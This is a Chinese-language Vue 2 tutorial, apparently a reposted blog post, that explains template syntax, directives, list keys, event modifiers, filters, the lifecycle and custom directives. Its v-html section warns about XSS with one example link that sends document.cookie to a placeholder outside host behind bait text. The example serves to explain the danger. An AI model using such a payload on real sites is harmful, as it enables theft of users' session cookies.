Vue

• 一、前言
• • 1. Vue簡介
  • 2. Vue特點
  • 3. Vue周邊庫
  • 4. Vue導入
  • 5. 案例入門
• 二、Vue基本語法
• 三、內容渲染指令
• • 1. 插值語法
  • 2. v-text
  • 3. v-html
  • 4. v-once
  • 5. v-pre
  • 6. v-cloak
• 四、數據綁定指令
• • 1. v-bind
  • 2. v-model
  • • 1. 綁定文本框
    • 2. 綁定單個復選框
    • 3. 綁定多個復選框
    • 4. v-model修飾符
• 五、條件渲染指令
• • 1. v-if
  • 2. v-else-if
  • 3. v-else
  • 4. v-show
• 六、列表渲染指令
• • 1. v-for
  • 2. key作用與原理
• 七、事件監聽指令
• • 1. v-on
  • 2. 事件修飾符
  • 3. 鍵盤事件
• 八、過濾器
• • 1. 過濾器簡介
  • 2. 過濾器案例
• 九、Vue生命周期
• 十、自定義指令
• • 1. 局部注冊
  • 2. 全局注冊
  • 3. 鉤子函數

一、前言

1. Vue簡介

• Vue 是一套動態構建用戶界面的漸進式JavaScript框架

• 官網

2. Vue特點

• 采用組件化模式，提供代碼復用率，且讓代碼更好維護
• 聲明式編碼，讓編碼人員無需操作直接操作DOM，提高開發效率
• 使用虛擬DOM + 優秀的 Diff 算法，盡量復用 DOM結點

3. Vue周邊庫

• vue-cli：vue腳手架
• vue-resource
• axios
• vue-router：路由
• vuex：狀態管理
• element-ui：基于vue的UI組件庫（PC端）

4. Vue導入

Vue是一個JS框架，所以，如果想使用Vue，則在當前頁面引入Vue.js文件即可。

<!--本地導入--> <script src="本地 vue.js 文件路徑"></script><!--在線導入--> <!--對于制作原型或學習，你可以這樣使用最新版本--> <script src="https://cdn.jsdelivr.net/npm/vue@2.7.8/dist/vue.js"></script> <!--對于生產環境，官方推薦鏈接到一個明確的版本號和構建文件，以避免新版本造成的不可預期的破壞：--> <script src="https://cdn.jsdelivr.net/npm/vue@2.7.8"></script>

5. 案例入門

<div id="root"><h1>Hello {{name}}</h1> </div> <script type="text/javascript">// 關閉 Vue 生產提示Vue.config.productionTip = false;// 創建一個Vue對象const app = new Vue({// 指定,該對象代表<div id="root">,也就是說,這個div中的所有內容,都被當前的app對象管理el:"#root",// 定義vue中的數據data(){return{name:"劃水藝術家"}}}) </script>

效果：

二、Vue基本語法

Vue模板語法包括兩大類：

插值語法：

• 功能：用于解析標簽體內容
• 寫法：{{xxx}}，xxx是js表達式，且可以直接讀取到data中的所有區域

---

指令語法：

• 功能：用于解析標簽（包括：標簽屬性、標簽體內容、綁定事件…）
• 舉例：<a v-bind:href="xxx">，xxx同樣要寫js表達式，且可以直接讀取到data中的所有屬性
• 備注：Vue中有很多的指令，且形式都是v-???，此處我們只是拿v-bind舉個例子

三、內容渲染指令

1. 插值語法

插值表達式用戶把Vue中所定義的數據,顯示在頁面上. 插值表達式允許用戶輸入"JS代碼片段"
語法：

{{ 變量名/對象.屬性名 }}

案例：

<div id="root"><!--雙括號里面是表達式--><h1>{{name}}</h1><!--雙括號前后跟字符--><h1>你好，{{name}},嘿嘿</h1><!--雙括號里面表達式加空格或者字符--><h1>{{name+ '空格或者字符' + age}}</h1><!--雙括號后加雙括號--><h1>{{name}} {{age}}</h1><!--雙括號里面還能進行變量計算--><h1>{{age + 20}}</h1><!--雙括號只能寫在標簽內部,不能寫在標簽屬性里面--><!-- <h1 {{name}}> </h1> 報錯--> </div><script type="text/javascript">const app = new Vue({el:"#root",data(){return{name:"劃水藝術家",age: 20,}}}) </script>

---

2. v-text

• v-text 其作用和插值表達式類似。v-text 可以避免插值閃爍問題，當網速比較慢時, 使用插值語法來展示數據, 有可能會產生插值閃爍問題
• 插值語法只會插入內容，不會清除其余的內容；但 v-text 會把當前元素的其他內容全部清除掉

? 插值閃爍：在數據未加載完成時，頁面會顯示出原始的 {{}}, 過一會才會展示正常數據。

語法：

<span v-text="name"></span> <!-- 相當于<span>{{name}}</span> -->

• v-text：把數據當作純文本顯示.

案例：

<div id="root"><!--v-text 是放在標簽屬性中--><h1 v-text="name"></h1> </div>

---

3. v-html

某些情況下，我們從服務器請求到的數據本身就是一個HTML代碼，我們希望前端接受到數據后按照HTML格式進行解析，并且顯示對應的內容，那我們就可以使用v-html指令。

語法：

<span v-html="myHtml"></span>

• v-html：遇到html標簽,會正常解析

案例：

<div id="root"><!--v-html是放在標簽屬性中--><span v-html="myHtml"></span> </div><script type="text/javascript">const app = new Vue({el:"#root",data(){return{myHtml:"<h1>劃水藝術家</h1>"}}}) </script>

嚴重注意：v-html有安全性問題！！！

• 在網站上動態渲染任意HTML是非常危險的，容易導致XSS攻擊
• 一定要在可信的內容上使用v-html，永遠不要用在用戶提交的內容上！！！

<div id="root"><div v-html="str"></div> </div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。new Vue({el:'#root',data:{str:'<a href=javascript:location.href="http://www.xxx.com?"+document.cookie>兄弟我找到你想要的資源了，快來！</a>',}}) </script>

---

當點擊這個鏈接就進入心懷不軌之人的圈套了！！！

4. v-once

我們有時候希望展示的部分數據不會隨著Vue的響應式而發生變化，就可以使用 v-once 指令。

<div id="root"><h1>會變化{{name}}</h1><h1 v-once>不會變化{{name}}</h1> </div>

• v-once指令后面不需要跟任何表達式
• v-once該指令表示元素和組件只渲染一次，不會隨著數據的改變而改變，可以用于優化性能

---

5. v-pre

該指令的作用是用于跳過這個元素和它子元素的編譯過程，用于顯示原本的插值語法，一般我們的插值語法會去data里面找對應的變量然后解析，可是如果我們就想讓其顯示為 {{name}} ，這個時候需要加 v-pre 屬性，如下

<div id="root"><h1 v-pre>{{name}}</h1> </div>

• v-pre跳過其所在節點的編譯過程。
• v-pre可利用它跳過：沒有使用指令語法、沒有使用插值語法的節點，會加快編譯

---

6. v-cloak

在實際開發中，前端數據大多是從服務器端獲取來的，如果網絡不好獲取的比較慢，瀏覽器可能會直接顯示出未編譯的插值標簽。那么頁面在渲染時可能會先顯示 {{name}} 之后變為 劃水藝術家。這種效果不是我們想要的，我們可以給標簽添加 v-cloak 來避免這種效果。（v-cloak 與 v-text 都可以解決插值閃爍問題，但 v-text 會清楚當前元素顯示的其他內通內容，但 v-cloak 不會）

v-cloak 使用流程：

• 加上v-clock 屬性,并加上css。
• vue解析之前有 v-clock 屬性時，讓其不顯示
• Vue解析之后沒有v-clock 屬性，再讓其顯示

<style>[v-cloak] {display: none;} </style><div id="root"><h1 v-cloak>{{name}}</h1> </div><script>const app = new Vue({// el:"#root",data(){return{name:"劃水藝術家",}}})// 在 2 秒后才實例化容器setTimeout(() => {app.$mount("#root")}, 2000) </script>

---

四、數據綁定指令

Vue中有2種數據綁定的方式：

• 單向綁定（v-bind）：數據只能從data流向頁面
• 雙向綁定（v-model）：數據不僅能從data流向頁面，還可以從頁面流向data

1. v-bind

上述指令主要作用是將值插入到我們的模板的內容當中，但是，除了內容需要動態來決定外，某些屬性我們也希望動態來綁定。比如：

• 動態綁定<a>的 href 屬性
• 動態綁定<img>元素的 src 屬性
• …

使用如下：

<div id="root"><a v-bind:href="url">百度</a> </div><script>const app = new Vue({el: "#root",data(){return {url: 'http://www.baidu.com'}}}) </script>

可以將 v-bind 簡寫為 :

<div id="root"><a :href="url">百度</a> </div>

---

2. v-model

? v-model可以實現：數據變化的時候, 頁面會自動刷新；頁面變化的時候，數據也會自動變化。

注意：

• 雙向綁定, 只能綁定 “文本框,單選按鈕,復選框,文本域,下拉列表 ”等
• 文本框/單選按鈕/textarea, 綁定的數據是字符串類型
• 單個復選框, 綁定的是boolean類型
• 多個復選框, 綁定的是數組
• select單選對應字符串，多選對應是數組

1. 綁定文本框

<div id="root">用戶名: <input type="text" v-model="username"/> </div><script type="text/javascript">new Vue({el:"#root",data:{//該屬性值和文本框的value屬性值,保持一致username:""}}); </script>

---

2. 綁定單個復選框

<div id="root"><input type="checkbox" v-model="agree">同意<br> </div> <script type="text/javascript">new Vue({el:"#root",data:{agree:true}}); </script>

---

---

3. 綁定多個復選框

<div id="root"><input type="checkbox" value="爬山" v-model="hobby">爬山<br><input type="checkbox" value="游泳" v-model="hobby">游泳<br><input type="checkbox" value="籃球" v-model="hobby">籃球<br> </div><script type="text/javascript">new Vue({el:"#root",data:{//數組中的值,就是被選中的元素的value屬性值hobby:["爬山","游泳"]}}); </script>

---

4. v-model修飾符

為了方便對用戶輸入的內容進行處理，Vue 為 v-model 指令提供了 3 個修飾符

修飾符作用示例

.number	自動將用戶的輸入值轉化為數值類型	<input v-model.number = "age" />
.trim	自動過濾用戶輸入的首尾空白字符	<input v-module.trim = "msg" />
.lazy	在 change 時而非 input 時更新	<input v-model.lazy = "msg" />

lazy修飾符

• 默認情況下， v-model 默認是在 input 事件中同步輸入框的數據的。
• 也就是說，一旦有數據發生改變對應的 data 中的數據就會自動發生改變。
• lazy 修飾符可以讓數據在失去焦點或者回車時才會更新。

---

五、條件渲染指令

條件渲染指令用來輔助開發者按需控制 DOM 的顯示與隱藏 。 v - if、v-else-if、v-else
這三個指令與JavaScript的條件語句 if、else、else if 類似，Vue 的條件指令可以根據表達式的值在DOM中渲染或銷毀元素或組件

1. v-if

<div id="root"><h1 v-if="age >= 18">你成年了</h1> </div> <script type="text/javascript">const app = new Vue({el:"#root",data(){return{age: 20}}}) </script>

v-if的原理：

• v-if 后面的條件為 false時，對應的元素以及子元素不會渲染，也就是根本沒有對應的標簽出現在DOM中

---

2. v-else-if

<div id="root"><h1 v-if="age >= 18">你成年了</h1><h1 v-else-if="age >= 12">你是個小伙子</h1> </div>

---

3. v-else

<div id="root"><h1 v-if="age >= 18">你成年了</h1><h1 v-else-if="age >= 12">你是個小伙子</h1><h1 v-else>你是個小學生</h1> </div>

---

4. v-show

v-show的用法和v-if非常相似，也用于決定一個元素是否渲染：

• v-if 指令會 動態地創建或移除 DOM 元素 ，從而控制元素在頁面上的顯示與隱藏
• v-show 指令會動態為元素 添加或移除 style=“display: none;” 樣式 ，從而控制元素的顯示與隱藏

<div id="root"><h1 v-show="age >= 18">你成年了</h1> </div> <script type="text/javascript">const app = new Vue({el:"#root",data(){return{age: 17}}}) </script>

---

六、列表渲染指令

1. v-for

<!DOCTYPE html> <html> <head><meta charset="UTF-8" /><title>列表渲染</title><script type="text/javascript" src="../js/vue.js"></script> </head> <body><div id="root"><h2>人員列表（遍歷數組）</h2><ul><li v-for="(p,index) in persons" :key="index">{{p.name}}-{{p.age}}</li></ul><h2>汽車信息（遍歷對象）</h2><ul><li v-for="(value,k) in car" :key="k">{{k}}-{{value}}</li></ul><h2>遍歷字符串</h2><ul><li v-for="(char,index) in str" :key="index">{{char}}-{{index}}</li></ul><h2>遍歷指定次數</h2><ul><li v-for="(number,index) in 5" :key="index">{{index}}-{{number}}</li></ul></div><script type="text/javascript">new Vue({el:'#root',data:{persons:[{id:'001',name:'張三',age:18},{id:'002',name:'李四',age:19},{id:'003',name:'王五',age:20}],car:{name:'奧迪A8',price:'70萬',color:'黑色'},str:'hello'}})</script> </body> </html>

---

2. key作用與原理

• 官方推薦我們在使用 v-for時，給對應的元素或組件加上一個 :key屬性，key的作用主要是為了高效的更新虛擬DOM。當列表的數據變化時，默認情況下， Vue 會盡可能的復用已存在的 DOM 元素，從而提升渲染的性能 。
• 但這種默認的性能優化策略，會導致有狀態的列表無法被正確更新 。為了給 Vue 一個提示，以便它能跟蹤每個節點的身份， 從而在保證有狀態的列表被正確更新的前提下， 提升渲染的性能 。此時，需要為每項提供一個唯一的 key 屬性。

案例引入：

<!DOCTYPE html> <html> <head><meta charset="UTF-8" /><title>key的原理</title><script type="text/javascript" src="../js/vue.js"></script> </head> <body><div id="root"><h2>人員列表</h2><button @click.once="add">添加老劉</button><ul><li v-for="(p,index) in persons" :key="index">{{p.name}} - {{p.age}}<input type="text"></li></ul></div><script type="text/javascript">new Vue({el:'#root',data:{persons:[{id:'001',name:'張三',age:18},{id:'002',name:'李四',age:19},{id:'003',name:'王五',age:20}]},methods: {add(){const p = {id:'004',name:'老劉',age:40}this.persons.unshift(p)}},})</script> </body> </html>

運行效果：

---

上述案例在增加了“老劉”后，每個人物后面的 input 輸入框紊亂，現在我們把 v-for 的 :key 改為 p.id 試一試。

<ul><li v-for="(p,index) in persons" :key="p.id">{{p.name}} - {{p.age}}<input type="text"></li> </ul>

運行效果：

---

運行結果正常，要明白這其中的詭異，我們就得明白Vue的虛擬DOM對比算法。

虛擬DOM中key的作用：

key是虛擬DOM中對象的標識，當數據發生變化時，Vue會根據新數據生成新的虛擬DOM，隨后Vue進行新虛擬DOM與舊虛擬DOM的差異比較，比較規則如下：

---

對比規則：

① 舊虛擬DOM中找到了與新虛擬DOM相同的key：

• 若虛擬DOM中內容沒變, 直接使用之前的真實DOM
• 若虛擬DOM中內容變了, 則生成新的真實DOM，隨后替換掉頁面中之前的真實DOM

② 舊虛擬DOM中未找到與新虛擬DOM相同的key：創建新的真實DOM，隨后渲染到到頁面

---

用index作為key可能會引發的問題：

① 若對數據進行逆序添加、逆序刪除等破壞順序操作：會產生沒有必要的真實DOM更新，界面效果沒問題, 但效率低
② 若結構中還包含輸入類的DOM：會產生錯誤DOM更新，界面有問題

---

開發中如何選擇key?

① 最好使用每條數據的唯一標識作為key，比如id、手機號、身份證號、學號等唯一值
② 如果不存在對數據的逆序添加、逆序刪除等破壞順序的操作，僅用于渲染列表，使用index作為key是沒有問題的

---

七、事件監聽指令

在前端開發中，我們經常需要監聽點擊、拖拽、鍵盤事件等等，這個時候需要使用 v-on。

• 作用：綁定事件監聽器
• 縮寫：@

DOM對象vue事件綁定

onclick	v-on:click
oninput	v-on:input
onkeyup	v-on:keyup

1. v-on

<div id="root"><h1>count = {{count}}</h1><button v-on:click="sub">-</button><button @click="add">+</button> </div><script>const app = new Vue({el:"#root",data(){return {count: 0,}},methods: {add(){this.count++;},sub(){this.count--;}}}) </script>

如果我們的事件要傳遞參數，代碼如下：

<div id="root"><button @click="method1">點我1</button><button @click="method2()">點我2</button> </div><script>new Vue({el:'#root',methods:{method1(arg1){console.log("method1: " , arg1);},method2(arg1){console.log("method2: " , arg1);}}}) </script>

---

在使用 v-on 綁定事件時：

• 如果事件函數后有括號，如：@click=“method1()”,則默認什么都不傳遞
• 如果事件函數后無括號，如:@click=“method2” ,則默認傳遞事件對象

當我們帶參數又要帶有事件參數時,我們要使用 $event：

<div id="root"><button @click="method3($event,2,3,4)">點我3</button> </div><script>new Vue({el:'#root',methods:{method3(event, a, b, c){console.log("event = " , event);console.log("a = " , a);console.log("b = " , b);console.log("c = " , c);}}}) </script>

---

2. 事件修飾符

Vue中的事件修飾符：

• prevent：阻止默認事件（常用）
• stop：阻止事件冒泡，也就是當前元素發生事件,但當前元素的父元素不發生該事件（常用）
• once：事件只觸發一次（常用）
• capture：使用事件捕獲模式, 主動獲取子元素發生事件, 把獲取到的事件當自己的事件執行
• self：只有 event.target 是當前操作的元素時才觸發事件
• passive：事件的默認行為立即執行，無需等待事件回調執行完畢

修飾符可以連續寫，比如可以這么用：@click.prevent.stop="showInfo"

---

3. 鍵盤事件

鍵盤上的每個按鍵都有自己的名稱和編碼，例如：Enter（13）。而Vue還對一些常用按鍵起了別名方便使用。

Vue中常用的按鍵別名：

• 回車：enter
• 刪除：delete (捕獲“刪除”和“退格”鍵)
• 退出：esc
• 空格：space
• 換行：tab (特殊，必須配合keydown去使用)
• 上：up
• 下：down
• 左：left
• 右：right

---

注意：

系統修飾鍵（用法特殊）：ctrl、alt、shift、meta

• 配合keyup使用：按下修飾鍵的同時，再按下其他鍵，隨后釋放其他鍵，事件才被觸發
• 配合keydown使用：正常觸發事件

---

可以使用keyCode去指定具體的按鍵，比如：@keydown.13=“showInfo”

---

Vue.config.keyCodes.自定義鍵名 = 鍵碼，可以自定義按鍵別名

---

八、過濾器

1. 過濾器簡介

• 在官方文檔中，是這樣說明的：可被用于一些常見的文本格式化，vue中過濾器的作用可被用于一些常見的文本格式化。（也就是修飾文本，但是文本內容不會改變）

• 通俗點說過濾器就是用來篩選出符合條件的，丟棄不符合條件的

• 過濾器分為全局過濾器與局部過濾器

過濾器：

• 定義：對要顯示的數據進行特定格式化后再顯示（適用于一些簡單邏輯的處理）。

• 語法：

① 注冊過濾器：

<script type="text/javascript">//全局過濾器Vue.filter('過濾器1',function(value){return "";})new Vue({el:'#root',//局部過濾器filters:{過濾器2(value){return "";}}}) </script>

② 使用過濾器：

<h1> {{ xxx | 過濾器}} </h1> <a :href = "xxx | 過濾器名" ></a>

備注：

• 過濾器可以接收額外參數，多個過濾器也可以串聯
• 過濾器并沒有改變原本的數據，而是產生新的對應的數據

2. 過濾器案例

<!DOCTYPE html> <html> <head><meta charset="UTF-8" /><title>過濾器</title><script type="text/javascript" src="../js/vue.js"></script><script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.10.6/dayjs.min.js"></script> </head> <body><div id="root"><h2>時間</h2><h3>當前時間戳：{{time}}</h3><h3>轉換后時間：{{time | timeFormater()}}</h3><h3>轉換后時間：{{time | timeFormater('YYYY-MM-DD HH:mm:ss')}}</h3><h3>截取年月日：{{time | timeFormater() | mySlice}}</h3></div> </body><script type="text/javascript">//全局過濾器Vue.filter('mySlice',function(value){return value.slice(0,11)})new Vue({el:'#root',data:{time:1658929744,},//局部過濾器filters:{timeFormater(value, str="YYYY年MM月DD日 HH:mm:ss"){return dayjs(value).format(str)}}}) </script> </html>

---

九、Vue生命周期

（1）什么是Vue生命周期?

官網的解釋：Vue 實例從創建到銷毀的過程，就是生命周期。也就是從開始創建、初始化數據、編譯模板、掛載Dom→渲染、更新→渲染、卸載等一系列過程，我們稱這是 Vue 的生命周期。

---

（2）vue生命周期的作用是什么?

Vue生命周期中有多個事件鉤子，讓我們在控制整個Vue實例過程時更容易形成好的邏輯。

---

（3）vue生命周期總共有幾個階段?

可以總共分為8個階段：

• 創建前/后
• 載入前/后
• 更新前/后
• 銷毀前/后

---

（4）第一次頁面加載會觸發哪幾個鉤子?

第一次頁面加載時會觸發 beforeCreate, created, beforeMount, mounted 這幾個鉤子

---

（5）DOM 渲染在 哪個周期中就已經完成?

DOM 渲染在 mounted 中就已經完成了。

---

（6）簡單描述每個周期具體適合哪些場景?

生命周期鉤子的一些使用方法：

beforecreate : 可以在此階段加loading事件，在加載實例時觸發；

created : 初始化完成時的事件寫在這里，如在這結束loading事件，異步請求也適宜在這里調用；

mounted : 掛載元素，獲取到DOM節點；

updated : 如果對數據統一處理，在這里寫上相應函數；

beforeDestroy : 可以做一個確認停止事件的確認框；

nextTick : 更新數據后立即操作dom；

常用的生命周期鉤子：

• mounted：發送ajax請求、啟動定時器、綁定自定義事件、訂閱消息等初始化操作

• beforeDestroy：清除定時器、解綁自定義事件、取消訂閱消息等收尾工作

關于銷毀Vue實例：

• 銷毀后借助Vue開發者工具看不到任何信息

• 銷毀后自定義事件會失效，但原生DOM事件依然有效

• 一般不會在beforeDestroy操作數據，因為即便操作數據，也不會再觸發更新流程了

測試案例

<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><title>生命周期測試案例</title> </head> <body> <div id="app"><p>{{message}}</p><button @click="changeMsg">改變msg</button> </div></body> <script src="js/vue.js"></script> <script>var vm = new Vue({el: '#app',data: {message: '你好呀~~~'},methods: {changeMsg () {this.message = '拜拜咯~~~'}},// 生命周期鉤子beforeCreate() {console.log('------初始化前------')console.log("msg = ", this.message)console.log("el = ", this.$el)},created () {console.log('------初始化完成------')console.log("msg = ", this.message)console.log("el = ", this.$el)},beforeMount () {console.log('------掛載前---------')console.log("msg = ", this.message)console.log("el = ", this.$el)},mounted () {console.log('------掛載完成---------')console.log("msg = ", this.message)console.log("el = ", this.$el)},beforeUpdate () {console.log('------更新前---------')console.log("msg = ", this.message)console.log("el = ", this.$el)},updated() {console.log('------更新后---------')console.log("msg = ", this.message)console.log("el = ", this.$el)}}) </script> </html>

---

從上面我們可以看出幾點：

• 首次只執行了4個生命周期，beforeCreate，created, beforeMount, mounted；
• 在第一個生命周期beforeCreate，拿不到data中的數據，此時數據還未初始化；
• created中，可以拿到data中的message數據了，此時數據初始化已經完成

十、自定義指令

注冊一個自定義指令有全局注冊與局部注冊。

1. 局部注冊

new Vue({ directives:{指令名:配置對象} }) new Vue({ directives:{指令名:回調函數} })

測試案例：

<!DOCTYPE html> <html><head><meta charset="UTF-8" /><title>自定義指令</title><script type="text/javascript" src="../js/vue.js"></script></head><!-- 需求1：定義一個v-big指令，和v-text功能類似，但會把綁定的數值放大10倍。需求2：定義一個v-fbind指令，和v-bind功能類似，但可以讓其所綁定的input元素默認獲取焦點。--><body><div id="root"><h2>當前的n值是：<span v-text="n"></span> </h2><h2>放大10倍后的n值是：<span v-big="n"></span> </h2><button @click="n++">點我n+1</button><hr/><input type="text" v-fbind:value="n"></div></body><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el:'#root',data:{n:1},directives:{// 自定義指令big(element,binding){console.log('big',this) //注意此處的this是windowelement.innerText = binding.value * 10},fbind:{// 指令與元素成功綁定時（一上來）bind(element,binding){element.value = binding.value},// 指令所在元素被插入頁面時inserted(element,binding){element.focus()},// 指令所在的模板被重新解析時update(element,binding){element.value = binding.value}}} }) </script> </html>

2. 全局注冊

全局注冊注冊主要是用過Vue.directive方法進行注冊

Vue.directive('fbind',{//指令與元素成功綁定時（一上來）bind(element,binding){element.value = binding.value},//指令所在元素被插入頁面時inserted(element,binding){element.focus()},//指令所在的模板被重新解析時update(element,binding){element.value = binding.value} })

3. 鉤子函數

自定義指令也像組件那樣存在鉤子函數：

• bind：只調用一次，指令第一次綁定到元素時調用。在這里可以進行一次性的初始化設置
• inserted：被綁定元素插入父節點時調用 (僅保證父節點存在，但不一定已被插入文檔中)
• update：所在組件的 VNode 更新時調用，但是可能發生在其子 VNode更新之前。指令的值可能發生了改變，也可能沒有。但是你可以通過比較更新前后的值來忽略不必要的模板更新
• componentUpdated：指令所在組件的 VNode 及其子 VNode 全部更新后調用
• unbind：只調用一次，指令與元素解綁時調用

注意：

• 指令定義時不加v-，但使用時要加v-

• 指令名如果是多個單詞，要使用kebab-case命名方式，不要用camelCase命名

總結

以上是生活随笔為你收集整理的Vue框架总结（一、Vue基础知识）的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。